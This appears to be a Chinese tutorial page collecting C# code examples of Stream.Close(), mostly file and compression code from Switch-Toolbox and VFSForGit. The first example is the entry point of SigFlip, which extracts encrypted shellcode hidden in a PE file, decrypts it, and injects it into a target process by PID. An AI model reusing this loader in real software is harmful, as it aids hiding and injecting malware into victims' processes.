C# Stream.Close的代码示例

通过代码示例来学习C# Stream.Close方法

通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。


Stream.Close是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的Stream.Close() 已经帮大家高亮显示了,大家可以重点学习Stream.Close() 方法的写法,从而快速掌握该方法的应用。

Stream.Close的代码示例1 - Main()

    using System.IO;
        public static void Main(string[] args)
        {
            ArgumentParser _parser = new ArgumentParser(args);

            if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
                Help();
            }


            if (_parser.GetOrDefault("f", "null") != "null") {
                _pePath = _parser.GetOrDefault("f", "null");
                _encKey = _parser.GetOrDefault("e", "null");
                _pid = _parser.GetOrDefault("pid", "null");

                if (_pePath == "null") Help();
                if (_pid == "null") Help();
            }

            else {
                Help();
            }

            if (!File.Exists(_pePath)) Help();

            Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
            Console.WriteLine();

            byte[] _peBlob = Utils.Read(_pePath);
            int _dataOffset = Utils.scanPattern(_peBlob, _tag);

            Console.WriteLine("[+]:Scanning for Shellcode...");
            if ( _dataOffset == -1) {
                Console.WriteLine("Could not locate data or shellcode");
                Environment.Exit(0);
            }

            Stream stream = new MemoryStream(_peBlob);
            long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
            Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
            byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
            stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
            byte[] _data = Utils.Decrypt(shellcode, _encKey);
            
            stream.Close();

            //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
            
            //CreateThread
            //ExecShellcode(_data);

            //CreateRemoteThread 
            Loader.rexec(Convert.ToInt32(_pid), _data);
           

            }
    

开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs

在Main()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例2 - AppendToNewlineSeparatedFile()

    using System.IO;

        public static void AppendToNewlineSeparatedFile(PhysicalFileSystem fileSystem, string filename, string newContent)
        {
            using (Stream fileStream = fileSystem.OpenFileStream(filename, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite, false))
            {
                using (StreamReader reader = new StreamReader(fileStream))
                using (StreamWriter writer = new StreamWriter(fileStream))
                {
                    long position = reader.BaseStream.Seek(0, SeekOrigin.End);
                    if (position > 0)
                    {
                        reader.BaseStream.Seek(position - 1, SeekOrigin.Begin);
                    }

                    string lastCharacter = reader.ReadToEnd();
                    if (lastCharacter != "\n" && lastCharacter != string.Empty)
                    {
                        writer.Write("\n");
                    }

                    writer.Write(newContent.Trim());
                    writer.Write("\n");
                }

                fileStream.Close();
            }
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:28,代码来源:BlobPrefetcher.cs

在AppendToNewlineSeparatedFile()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例3 - Load()

    
        public void Load(System.IO.Stream stream)
        {
            using (FileReader reader = new FileReader(stream))
            {
                reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian;

                magic = reader.ReadBytes(4);

                uint magicval = magic[0] + 256 * (uint)(magic[1]) + 65536 * (uint)(magic[2]) + 16777216 * (uint)(magic[3]);

                if (magicval != MagicFileConstant)
                    throw new Exception("Invalid identifier");

                BlockDimX = reader.ReadByte();
                BlockDimY = reader.ReadByte();
                BlockDimZ = reader.ReadByte();
                xsize = reader.ReadBytes(3);
                ysize = reader.ReadBytes(3);
                zsize = reader.ReadBytes(3);

                Width = (uint)(xsize[0] + 256 * xsize[1] + 65536 * xsize[2]);
                Height = (uint)(ysize[0] + 256 * ysize[1] + 65536 * ysize[2]);
                Depth = (uint)(zsize[0] + 256 * zsize[1] + 65536 * zsize[2]);

                reader.Seek(0x10, System.IO.SeekOrigin.Begin);
                DataBlock = reader.ReadBytes((int)(reader.BaseStream.Length - reader.Position));

                Console.WriteLine(Width);
                Console.WriteLine(Height);
                Console.WriteLine(Depth);

                if (BlockDimX == 4 && BlockDimY == 4)
                    Format = TEX_FORMAT.ASTC_4x4_UNORM;
                else if (BlockDimX == 5 && BlockDimY == 4)
                    Format = TEX_FORMAT.ASTC_5x4_UNORM;
                else if (BlockDimX == 5 && BlockDimY == 5)
                    Format = TEX_FORMAT.ASTC_5x5_UNORM;
                else if (BlockDimX == 6 && BlockDimY == 5)
                    Format = TEX_FORMAT.ASTC_6x5_UNORM;
                else if (BlockDimX == 6 && BlockDimY == 6)
                    Format = TEX_FORMAT.ASTC_6x6_UNORM;
                else if (BlockDimX == 8 && BlockDimY == 5)
                    Format = TEX_FORMAT.ASTC_8x5_UNORM;
                else if (BlockDimX == 8 && BlockDimY == 6)
                    Format = TEX_FORMAT.ASTC_8x6_UNORM;
                else if (BlockDimX == 8 && BlockDimY == 8)
                    Format = TEX_FORMAT.ASTC_8x8_UNORM;
                else if (BlockDimX == 10 && BlockDimY == 10)
                    Format = TEX_FORMAT.ASTC_10x10_UNORM;
                else if (BlockDimX == 10 && BlockDimY == 5)
                    Format = TEX_FORMAT.ASTC_10x5_UNORM;
                else if (BlockDimX == 10 && BlockDimY == 6)
                    Format = TEX_FORMAT.ASTC_10x6_UNORM;
                else if (BlockDimX == 10 && BlockDimY == 8)
                    Format = TEX_FORMAT.ASTC_10x8_UNORM;
                else
                    throw new Exception($"Unsupported block dims! ({BlockDimX} x {BlockDimY})");
            }

            stream.Dispose();
            stream.Close();
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:63,代码来源:ASTC.cs

在Load()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例4 - SaveFileForCompression()

    using System.IO;

        private void SaveFileForCompression(bool Compress, string[] fileNames, ICompressionFormat compressionFormat)
        {
            if (fileNames.Length == 0)
                return;

            string ext = Compress ? ".comp" : "";
            if (compressionFormat.Extension.Length > 0 && Compress)
                ext = compressionFormat.Extension[0].Replace("*", string.Empty);

            List failedFiles = new List();
            if (fileNames.Length > 1)
            {
                FolderSelectDialog ofd = new FolderSelectDialog();
                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    foreach (var file in fileNames)
                    {
                        string name = Path.GetFileName(file);
                        name = name.Count(c => c == '.') > 1 && !Compress ? name.Remove(name.LastIndexOf('.')) : name;
                        using (var data = new FileStream(file, FileMode.Open, FileAccess.Read))
                        {
                            try
                            {
                                Stream stream;
                                if (Compress)
                                    stream = compressionFormat.Compress(data);
                                else
                                {
                                    compressionFormat.Identify(data, file);
                                    stream = compressionFormat.Decompress(data);
                                }

                                if (stream != null)
                                {
                                    stream.ExportToFile($"{ofd.SelectedPath}/{name}{ext}");
                                    stream.Flush();
                                    stream.Close();
                                }
                            }
                            catch (Exception ex)
                            {
                                failedFiles.Add($"{file} \n\n {ex} \n\n");
                            }
                        }
                    }

                    if (failedFiles.Count > 0)
                    {
                        string action = Compress ? "compress" : "decompress";
                        STErrorDialog.Show($"Some files failed to {action}! See detail list of failed files.", "Switch Toolbox",
                            string.Join("\n", failedFiles.ToArray()));
                    }
                    else
                        MessageBox.Show("Files batched successfully!");
                }
            }
            else
            {
                SaveFileDialog sfd = new SaveFileDialog();
                string name = Path.GetFileName(fileNames[0]);
                sfd.FileName = name + ext;
                sfd.Filter = "All files(*.*)|*.*";

                Cursor.Current = Cursors.Default;
                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    try
                    {
                        using (var data = new FileStream(fileNames[0], FileMode.Open, FileAccess.Read))
                        {
                            Stream stream;
                            if (Compress)
                                stream = compressionFormat.Compress(data);
                            else
                            {
                                compressionFormat.Identify(data, fileNames[0]);
                                stream = compressionFormat.Decompress(data);
                            }

                            if (stream != null)
                            {
                                stream.ExportToFile(sfd.FileName);
                                stream.Flush();
                                stream.Close();

                                MessageBox.Show($"File has been saved to {sfd.FileName}", "Save Notification");
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        string action = Compress ? "compress" : "decompress";
                        STErrorDialog.Show($"Failed to {action}! See details for info.", "Switch Toolbox", ex.ToString());
                    }
                }
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:99,代码来源:CompressionMenus.cs

在SaveFileForCompression()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例5 - Save()

    using System.IO;
        public void Save(System.IO.Stream stream)
        {
            using (System.IO.StreamWriter file = new System.IO.StreamWriter(stream))
            {
                foreach (STGenericObject obj in objects)
                {
                    file.WriteLine($"Obj Name:" + obj.ObjectName);
                    file.WriteLine($"Bone_Suport");
                    file.WriteLine($"UV_Num:1");
                    file.WriteLine($"vert_Array");

                    foreach (Vertex v in obj.vertices)
                    {
                        file.WriteLine($"{v.pos.X},{v.pos.Y},{v.pos.Z}");
                        file.WriteLine($"{v.nrm.X},{v.nrm.Y},{v.nrm.Z}");
                        file.WriteLine($"{v.col.X * 255},{v.col.Y * 255},{v.col.Z * 255},{v.col.W * 255}");
                        file.WriteLine($"{v.uv0.X},{v.uv0.Y}");
                   //     file.WriteLine($"{v.uv1.X},{v.uv1.Y}");
                    }
                    file.WriteLine($"face_Array");
                    for (int f = 0; f < obj.faces.Count / 3; f++)
                    {
                        file.WriteLine($"{obj.faces[f] + 1},{obj.faces[f++] + 1},{obj.faces[f++] + 1}");
                    }
                    file.WriteLine($"bone_Array");
                    foreach (Vertex v in obj.vertices)
                    {
                        if (v.boneNames.Count == 1)
                            file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]}");
                        if (v.boneNames.Count == 2)
                            file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]} {v.boneNames[1]} {v.boneWeights[1]}");
                        if (v.boneNames.Count == 3)
                            file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]} {v.boneNames[1]} {v.boneWeights[1]} {v.boneNames[2]} {v.boneWeights[2]}");
                        if (v.boneNames.Count == 4)
                            file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]} {v.boneNames[1]} {v.boneWeights[1]} {v.boneNames[2]} {v.boneWeights[2]} {v.boneNames[3]} {v.boneWeights[3]}");
                    }
                }
                file.Close();
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:41,代码来源:CsvModels.cs

在Save()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例6 - Save()

    using System.IO;

        public void Save(DDS dds, Stream stream, List data = null)
        {
            FileWriter writer = new FileWriter(stream);
            var header = dds.header;
            writer.Write(Encoding.ASCII.GetBytes("DDS "));
            writer.Write(header.size);
            writer.Write(header.flags);
            writer.Write(header.height);
            writer.Write(header.width);
            writer.Write(header.pitchOrLinearSize);
            writer.Write(header.depth);
            writer.Write(header.mipmapCount);
            for (int i = 0; i < 11; ++i)
                writer.Write(header.reserved1[i]);

            writer.Write(header.ddspf.size);
            writer.Write(header.ddspf.flags);
            writer.Write(header.ddspf.fourCC);
            writer.Write(header.ddspf.RGBBitCount);
            writer.Write(header.ddspf.RBitMask);
            writer.Write(header.ddspf.GBitMask);
            writer.Write(header.ddspf.BBitMask);
            writer.Write(header.ddspf.ABitMask);
            writer.Write(header.caps);
            writer.Write(header.caps2);
            writer.Write(header.caps3);
            writer.Write(header.caps4);
            writer.Write(header.reserved2);

            if (IsDX10)
            {
                WriteDX10Header(writer);
            }

            if (data != null)
            {
                foreach (var surface in data)
                {
                    writer.Write(Utils.CombineByteArray(surface.mipmaps.ToArray()));
                }
            }
            else
            {
                writer.Write(bdata);
            }

            writer.Flush();
            writer.Close();
            writer.Dispose();
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:52,代码来源:DDS.cs

在Save()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例7 - OpenFileFormat()

    using System.IO;

        /// 
        /// Gets the  from a file or byte array. 
        /// 
        /// The name of the file
        /// The byte array of the data
        /// If the file is in an archive so it can be saved back
        /// If the file is being compressed or not
        /// The type of  being used
        /// 
        public static IFileFormat OpenFileFormat(Stream stream, string FileName, bool LeaveStreamOpen = false, bool InArchive = false,
            bool Compressed = false, ICompressionFormat CompressionFormat = null, long DecompressedSize = 0, long CompressedSize = 0)
        {
            if (!Compressed)
                DecompressedSize = stream.Length;

            long streamStartPos = stream.Position;

            if (stream.Length < 8) return null;

            //Check all supported compression formats and decompress. Then loop back
            if (!Compressed)
            {
                foreach (ICompressionFormat compressionFormat in FileManager.GetCompressionFormats())
                {
                    stream.Position = streamStartPos;
                    if (compressionFormat.Identify(stream, FileName))
                    {
                        stream.Position = streamStartPos;

                        Stream decompStream = compressionFormat.Decompress(stream);
                        stream.Close();

                        CompressedSize = decompStream.Length;

                        return OpenFileFormat(decompStream, FileName, LeaveStreamOpen, InArchive,
                                true, compressionFormat, DecompressedSize, CompressedSize);
                    }
                }
            }

            stream.Position = streamStartPos;
            foreach (IFileFormat fileFormat in FileManager.GetFileFormats())
            {
                //Set the file name so we can check it's extension in the identifier. 
                //Most is by magic but some can be extension or name.

                fileFormat.FileName = Path.GetFileName(FileName);

                if (fileFormat.Identify(stream))
                {
                    fileFormat.IFileInfo = new IFileInfo();
                    fileFormat.IFileInfo.DecompressedSize = (uint)DecompressedSize;
                    fileFormat.IFileInfo.CompressedSize = (uint)CompressedSize;
                    return SetFileFormat(fileFormat, FileName, stream, LeaveStreamOpen, InArchive, Compressed, CompressionFormat);
                }
            }

            stream.Close();

            return null;
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:63,代码来源:STFileLoader.cs

在OpenFileFormat()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

Stream.Close的代码示例8 - SaveFileFormat()

    using System.IO;
        /// 
        /// Saves the  as a file from the given 
        /// 
        /// The format instance of the file being saved
        /// The name of the file
        /// The Alignment used for compression. Used for Yaz0 compression type. 
        /// Toggle for showing compression dialog
        /// 
        public static void SaveFileFormat(IFileFormat FileFormat, string FileName, bool EnableDialog = true, string DetailsLog = "")
        {
            //These always get created on loading a file,however not on creating a new file
            if (FileFormat.IFileInfo == null)
                throw new System.NotImplementedException("Make sure to impliment a IFileInfo instance if a format is being created!");

            Cursor.Current = Cursors.WaitCursor;
            FileFormat.FilePath = FileName;

            string compressionLog = "";
            if (FileFormat.IFileInfo.FileIsCompressed || FileFormat.IFileInfo.InArchive
                || Path.GetExtension(FileName) == ".szs" || Path.GetExtension(FileName) == ".sbfres"
                || Path.GetExtension(FileName) == ".mc")
            {
                //Todo find more optmial way to handle memory with files in archives
                //Also make compression require streams
                var mem = new System.IO.MemoryStream();
                FileFormat.Save(mem);
                mem =  new System.IO.MemoryStream(mem.ToArray());

                FileFormat.IFileInfo.DecompressedSize = (uint)mem.Length;

                var finalStream = CompressFileFormat(
                    FileFormat.IFileInfo.FileCompression,
                    mem,
                    FileFormat.IFileInfo.FileIsCompressed,
                    FileFormat.IFileInfo.Alignment,
                    FileName,
                    EnableDialog);

                compressionLog = finalStream.Item2;
                Stream compressionStream = finalStream.Item1;

                FileFormat.IFileInfo.CompressedSize = (uint)compressionStream.Length;
                compressionStream.ExportToFile(FileName);

                DetailsLog += "\n" + SatisfyFileTables(FileFormat, FileName, compressionStream,
                                    FileFormat.IFileInfo.DecompressedSize,
                                    FileFormat.IFileInfo.CompressedSize,
                                    FileFormat.IFileInfo.FileIsCompressed);

                compressionStream.Flush();
                compressionStream.Close();
            }
            else
            {
                //Check if a stream is active and the file is beinng saved to the same opened file
                if (FileFormat is ISaveOpenedFileStream && FileFormat.FilePath == FileName && File.Exists(FileName))
                {
                    string savedPath = Path.GetDirectoryName(FileName);
                    string tempPath = Path.Combine(savedPath, "tempST.bin");

                    //Save a temporary file first to not disturb the opened file
                    using (var fileStream = new FileStream(tempPath, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite))
                    {
                        FileFormat.Save(fileStream);
                        FileFormat.Unload();

                        //After saving is done remove the existing file
                        File.Delete(FileName);

                        //Now move and rename our temp file to the new file path
                        File.Move(tempPath, FileName);

                        FileFormat.Load(File.OpenRead(FileName));

                        var activeForm = LibraryGUI.GetActiveForm();
                        if (activeForm != null && activeForm is ObjectEditor)
                            ((ObjectEditor)activeForm).ReloadArchiveFile(FileFormat);
                    }
                }
                else
                {
                    using (var fileStream = new FileStream(FileName, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite))
                    {
                        FileFormat.Save(fileStream);
                    }
                }
            }

            if (EnableDialog)
            {
                if (compressionLog != string.Empty)
                    MessageBox.Show($"File has been saved to {FileName}. Compressed time: {compressionLog}", "Save Notification");
                else
                    MessageBox.Show($"File has been saved to {FileName}", "Save Notification");
            }

            //   STSaveLogDialog.Show($"File has been saved to {FileName}", "Save Notification", DetailsLog);
            Cursor.Current = Cursors.Default;
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:100,代码来源:STFileSaver.cs

在SaveFileFormat()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

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